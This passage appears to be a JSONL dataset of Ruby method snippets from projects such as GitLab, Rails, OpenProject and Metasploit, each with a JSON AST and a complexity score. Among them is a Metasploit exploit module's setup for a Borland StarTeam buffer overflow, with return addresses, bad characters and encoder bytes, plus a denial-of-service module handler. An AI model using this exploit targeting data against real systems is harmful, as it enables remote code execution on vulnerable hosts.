{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/projects/schemas/project_custom_field_section_representer.rb","start_line":51,"raw_source":"def attributes\n            represented.custom_fields.map do |cf|\n              convert_property(cf.attribute_name)\n            end\n          end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"represented\"]},\"custom_fields\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cf\"]}]},{\"type\":\"send\",\"children\":[null,\"convert_property\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cf\"]},\"attribute_name\"]}]}]}]}","id":"d4ff629e-b92d-4e9d-802c-98d2123e87ff"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/omni_auth/strategies/jwt.rb","start_line":45,"raw_source":"def decoded\n        jwt = request.params['jwt']\n\n        raise JwtTooLarge, _('JWT must be less than 10KB') if jwt.bytesize >= MAX_JWT_BYTESIZE\n\n        @decoded ||= ::JWT.decode(jwt, secret, true, { algorithm: options.algorithm }).first\n\n        (options.required_claims || []).each do |field|\n          raise ClaimInvalid, \"Missing required '#{field}' claim\" unless @decoded.key?(field.to_s)\n        end\n\n        raise ClaimInvalid, \"Missing required 'iat' claim\" if options.valid_within && !@decoded[\"iat\"]\n\n        if options.valid_within && (Time.now.to_i - @decoded[\"iat\"]).abs > options.valid_within.to_i\n          raise ClaimInvalid, \"'iat' timestamp claim is too skewed from present\"\n        end\n\n        @decoded\n      end","complexity_score":55.6,"ast_json":"{\"type\":\"def\",\"children\":[\"decoded\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"jwt\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"params\"]},\"[]\",{\"type\":\"str\",\"children\":[\"jwt\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jwt\"]},\"bytesize\"]},\">=\",{\"type\":\"const\",\"children\":[null,\"MAX_JWT_BYTESIZE\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"JwtTooLarge\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"JWT must be less than 10KB\"]}]}]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@decoded\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"JWT\"]},\"decode\",{\"type\":\"lvar\",\"children\":[\"jwt\"]},{\"type\":\"send\",\"children\":[null,\"secret\"]},{\"type\":\"true\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"algorithm\"]}]}]}]},\"first\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"required_claims\"]},{\"type\":\"array\",\"children\":[]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@decoded\"]},\"key?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"to_s\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ClaimInvalid\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Missing required '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]}]},{\"type\":\"str\",\"children\":[\"' claim\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"valid_within\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@decoded\"]},\"[]\",{\"type\":\"str\",\"children\":[\"iat\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ClaimInvalid\"]},{\"type\":\"str\",\"children\":[\"Missing required 'iat' claim\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"valid_within\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"to_i\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@decoded\"]},\"[]\",{\"type\":\"str\",\"children\":[\"iat\"]}]}]}]},\"abs\"]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"valid_within\"]},\"to_i\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ClaimInvalid\"]},{\"type\":\"str\",\"children\":[\"'iat' timestamp claim is too skewed from present\"]}]},null]},{\"type\":\"ivar\",\"children\":[\"@decoded\"]}]}]}","id":"8dc7eaa5-46c1-4da9-8e7d-28590f089b98"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/core_ext/object/json.rb","start_line":258,"raw_source":"def as_json(options = nil)\n    { exitstatus: exitstatus, pid: pid }\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"as_json\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"exitstatus\"]},{\"type\":\"send\",\"children\":[null,\"exitstatus\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pid\"]},{\"type\":\"send\",\"children\":[null,\"pid\"]}]}]}]}","id":"f4a1931d-f7c5-489e-991b-ec9b95b2bbb1"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/finders/spree/orders/find_complete.rb","start_line":76,"raw_source":"def by_email(orders)\n        return orders unless email?\n\n        orders.where(email: email.strip.downcase)\n      end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"by_email\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"orders\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"email?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"orders\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"orders\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"email\"]},\"strip\"]},\"downcase\"]}]}]}]}]}]}","id":"614e40b4-e4a6-4709-8401-93735f108b48"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/users/omniauth_callbacks_controller.rb","start_line":18,"raw_source":"def confirm_request\n    self.class.find_authenticator(params[:provider])\n    render locals: { hide_auth_buttons: true }\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"confirm_request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"find_authenticator\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"provider\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locals\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hide_auth_buttons\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}]}","id":"a6566edd-4a97-4898-ba06-c3dbd4e5a480"}
{"repo_name":"reek","file_path":"./repos/reek/samples/smelly_source/optparse.rb","start_line":1739,"raw_source":"def parse!() options.parse!(self) end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"parse!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"parse!\",{\"type\":\"self\",\"children\":[]}]}]}","id":"32a7855f-f853-4ec0-bd78-a7056be4eb20"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/core_ext/enumerable.rb","start_line":161,"raw_source":"def pick(*keys)\n    return if none?\n\n    if keys.many?\n      keys.map { |key| first[key] }\n    else\n      first[keys.first]\n    end\n  end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"pick\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"keys\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"none?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"many?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"first\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"first\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"first\"]}]}]}]}]}","id":"b808a3bf-c8a0-4115-8fed-6de39725b56f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/reports/security/aggregated_report.rb","start_line":12,"raw_source":"def initialize(reports, findings)\n            @reports = reports\n            @findings = findings\n          end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reports\"]},{\"type\":\"arg\",\"children\":[\"findings\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@reports\",{\"type\":\"lvar\",\"children\":[\"reports\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@findings\",{\"type\":\"lvar\",\"children\":[\"findings\"]}]}]}]}","id":"c82d7393-9d10-4941-a191-fa1ddc8f93d1"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/redundant_line_continuation.rb","start_line":177,"raw_source":"def method_with_argument?(line_range, current_token, next_token)\n          return false unless ARGUMENT_TAKING_FLOW_TOKEN_TYPES.include?(current_token.type)\n          return false unless current_token.pos.overlaps?(line_range)\n\n          ARGUMENT_TYPES.include?(next_token.type)\n        end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"method_with_argument?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line_range\"]},{\"type\":\"arg\",\"children\":[\"current_token\"]},{\"type\":\"arg\",\"children\":[\"next_token\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARGUMENT_TAKING_FLOW_TOKEN_TYPES\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_token\"]},\"type\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_token\"]},\"pos\"]},\"overlaps?\",{\"type\":\"lvar\",\"children\":[\"line_range\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARGUMENT_TYPES\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"next_token\"]},\"type\"]}]}]}]}","id":"ba0bdd62-d357-41dc-9f08-214ab45a3f43"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/dos/http/ibm_lotus_notes2.rb","start_line":71,"raw_source":"def on_request_uri(cli, _request)\n    print_status('Sending response')\n    send_response(cli, @html)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"_request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending response\"]}]},{\"type\":\"send\",\"children\":[null,\"send_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"ivar\",\"children\":[\"@html\"]}]}]}]}","id":"a99a3331-e7d1-4c51-824d-133ad384630f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/anemone/storage.rb","start_line":11,"raw_source":"def self.PStore(*args)\n      require 'anemone/storage/pstore'\n      self::PStore.new(*args)\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"PStore\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"anemone/storage/pstore\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"self\",\"children\":[]},\"PStore\"]},\"new\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]}","id":"82f8cecb-ba77-4ce3-90c4-ff2f82e3a88b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/rich_text_editor_helpers.rb","start_line":61,"raw_source":"def drag_element(element, dx, dy)\n    page.execute_script(<<-JS, element, dx, dy)\n      function simulateDragDrop(element, dx, dy) {\n        const rect = element.getBoundingClientRect();\n        const events = ['mousedown', 'mousemove', 'mouseup'];\n        events.forEach((eventType, index) => {\n          const event = new MouseEvent(eventType, {\n            bubbles: true,\n            screenX: rect.left + (index ? dx : 0),\n            screenY: rect.top + (index ? dy : 0)\n          });\n          element.dispatchEvent(event);\n        });\n      }\n      simulateDragDrop(arguments[0], arguments[1], arguments[2]);\n    JS\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"drag_element\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"element\"]},{\"type\":\"arg\",\"children\":[\"dx\"]},{\"type\":\"arg\",\"children\":[\"dy\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"execute_script\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"      function simulateDragDrop(element, dx, dy) {\\n\"]},{\"type\":\"str\",\"children\":[\"        const rect = element.getBoundingClientRect();\\n\"]},{\"type\":\"str\",\"children\":[\"        const events = ['mousedown', 'mousemove', 'mouseup'];\\n\"]},{\"type\":\"str\",\"children\":[\"        events.forEach((eventType, index) => {\\n\"]},{\"type\":\"str\",\"children\":[\"          const event = new MouseEvent(eventType, {\\n\"]},{\"type\":\"str\",\"children\":[\"            bubbles: true,\\n\"]},{\"type\":\"str\",\"children\":[\"            screenX: rect.left + (index ? dx : 0),\\n\"]},{\"type\":\"str\",\"children\":[\"            screenY: rect.top + (index ? dy : 0)\\n\"]},{\"type\":\"str\",\"children\":[\"          });\\n\"]},{\"type\":\"str\",\"children\":[\"          element.dispatchEvent(event);\\n\"]},{\"type\":\"str\",\"children\":[\"        });\\n\"]},{\"type\":\"str\",\"children\":[\"      }\\n\"]},{\"type\":\"str\",\"children\":[\"      simulateDragDrop(arguments[0], arguments[1], arguments[2]);\\n\"]}]},{\"type\":\"lvar\",\"children\":[\"element\"]},{\"type\":\"lvar\",\"children\":[\"dx\"]},{\"type\":\"lvar\",\"children\":[\"dy\"]}]}]}","id":"1c62222c-6ebc-4bf9-9b3b-46b137e893bb"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/work_packages/filter/me_value_filter_mixin.rb","start_line":43,"raw_source":"def value_objects\n    principals = Principal.where(id: no_me_values).to_a\n\n    principals.unshift(::Queries::Filters::MeValue.new) if has_me_value?\n\n    principals\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"value_objects\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"principals\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Principal\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"no_me_values\"]}]}]}]},\"to_a\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_me_value?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"principals\"]},\"unshift\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Queries\"]},\"Filters\"]},\"MeValue\"]},\"new\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"principals\"]}]}]}","id":"bc7da1b3-05a7-407a-a287-b5d15c4310b7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/authn/tokens/cluster_agent_token.rb","start_line":6,"raw_source":"def self.prefix?(plaintext)\n        prefixes = [::Clusters::AgentToken.glagent_prefix,\n          ::Clusters::AgentToken::TOKEN_PREFIX].uniq\n\n        plaintext.start_with?(*prefixes)\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"prefix?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"plaintext\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"prefixes\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Clusters\"]},\"AgentToken\"]},\"glagent_prefix\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Clusters\"]},\"AgentToken\"]},\"TOKEN_PREFIX\"]}]},\"uniq\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plaintext\"]},\"start_with?\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefixes\"]}]}]}]}]}","id":"0f0ff6d5-3519-4ef6-97ee-febb955b1679"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/borland_starteam.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Borland CaliberRM StarTeam Multicast Service Buffer Overflow',\n        'Description' => %q{\n          This module exploits a stack buffer overflow in Borland CaliberRM 2006. By sending\n          a specially crafted GET request to the STMulticastService, an attacker may be\n          able to execute arbitrary code.\n        },\n        'Author' => 'MC',\n        'References' => [\n          [ 'CVE', '2008-0311' ],\n          [ 'OSVDB', '44039' ],\n          [ 'BID', '28602' ],\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'process',\n        },\n        'Payload' => {\n          'Space' => 600,\n          'BadChars' => \"\\x00\\x3a\\x26\\x3f\\x25\\x23\\x20\\x0a\\x0d\\x2f\\x2b\\x0b\\x5c\",\n          'StackAdjustment' => -3500,\n          'PrependEncoder' => \"\\x81\\xc4\\x54\\xf2\\xff\\xff\",\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [ 'Windows 2000 SP4 English', { 'Ret' => 0x7c5729db } ],\n          [ 'Windows 2003 SP0 English', { 'Ret' => 0x71ae1f9b } ],\n        ],\n        'Privileged' => true,\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2008-04-02',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options([Opt::RPORT(3057)])\n  end","complexity_score":6.75,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[3057]}]}]}]}]}","id":"d36cc391-d977-407e-a2b1-f9b6ce1f8889"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/message_pack/cache_serializer.rb","start_line":18,"raw_source":"def install_unregistered_type_handler\n          Extensions.install_unregistered_type_fallback(message_pack_factory)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"install_unregistered_type_handler\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Extensions\"]},\"install_unregistered_type_fallback\",{\"type\":\"send\",\"children\":[null,\"message_pack_factory\"]}]}]}","id":"7e2268b4-768a-4d3e-8dcf-e303b547a265"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250228055208_create_user_group_member_roles_table.rb","start_line":9,"raw_source":"def change\n    create_table :user_group_member_roles do |t|\n      t.bigint :user_id, null: false, index: false\n      t.bigint :group_id, null: false, index: true\n      t.bigint :shared_with_group_id, null: true, index: true\n      t.bigint :member_role_id, null: false, index: true\n      t.timestamps_with_timezone null: false\n      t.index INDEX_COLUMNS, name: INDEX_NAME, unique: true\n    end\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"user_group_member_roles\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"shared_with_group_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"member_role_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps_with_timezone\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"const\",\"children\":[null,\"INDEX_COLUMNS\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"INDEX_NAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"71fd2fd5-66d7-42dc-8c8d-bec66aa668cd"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/smb/server/share.rb","start_line":101,"raw_source":"def cleanup\n        self.service.remove_share(share) if self.service.present? && share.present?\n\n        super\n      end","complexity_score":10.5,"ast_json":"{\"type\":\"def\",\"children\":[\"cleanup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"service\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"share\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"service\"]},\"remove_share\",{\"type\":\"send\",\"children\":[null,\"share\"]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"05e6b58c-34d3-4719-8b9d-ed3758785717"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/app/seeders/bim/demo_data/ifc_model_seeder.rb","start_line":52,"raw_source":"def seed_model(model)\n        xkt_data = get_xkt_file(model[\"file\"])\n\n        if xkt_data.nil?\n          print_status \"\\n    ↳ Missing converted data for ifc model\"\n        else\n          create_model(model, admin_user, xkt_data)\n        end\n      end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"seed_model\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"xkt_data\",{\"type\":\"send\",\"children\":[null,\"get_xkt_file\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"[]\",{\"type\":\"str\",\"children\":[\"file\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xkt_data\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"\\n    ↳ Missing converted data for ifc model\"]}]},{\"type\":\"send\",\"children\":[null,\"create_model\",{\"type\":\"lvar\",\"children\":[\"model\"]},{\"type\":\"send\",\"children\":[null,\"admin_user\"]},{\"type\":\"lvar\",\"children\":[\"xkt_data\"]}]}]}]}]}","id":"a0bb8a83-0389-4a39-a0b6-3e790e10a93e"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib_static/plugins/acts_as_searchable/lib/acts_as_searchable.rb","start_line":225,"raw_source":"def fetch_results(find_conditions, project_conditions, options) # rubocop:disable Metrics/AbcSize\n            results = []\n            results_count = 0\n\n            where(project_conditions.join(\" AND \")).scoping do\n              where(find_conditions)\n                .includes(searchable_options[:include])\n                .references(searchable_options[:references])\n                .order(find_order(options[:before]))\n                .scoping do\n                  results_count = count\n                  results       = all\n\n                  if options[:offset]\n                    results = results.where(\n                      \"(#{searchable_options[:date_column]} \" +\n                      (options[:before] ? \"<\" : \">\") +\n                      \"'#{connection.quoted_date(options[:offset])}')\"\n                    )\n                  end\n                  results = results.limit(options[:limit]) if options[:limit]\n                end\n            end\n\n            [results, results_count]\n          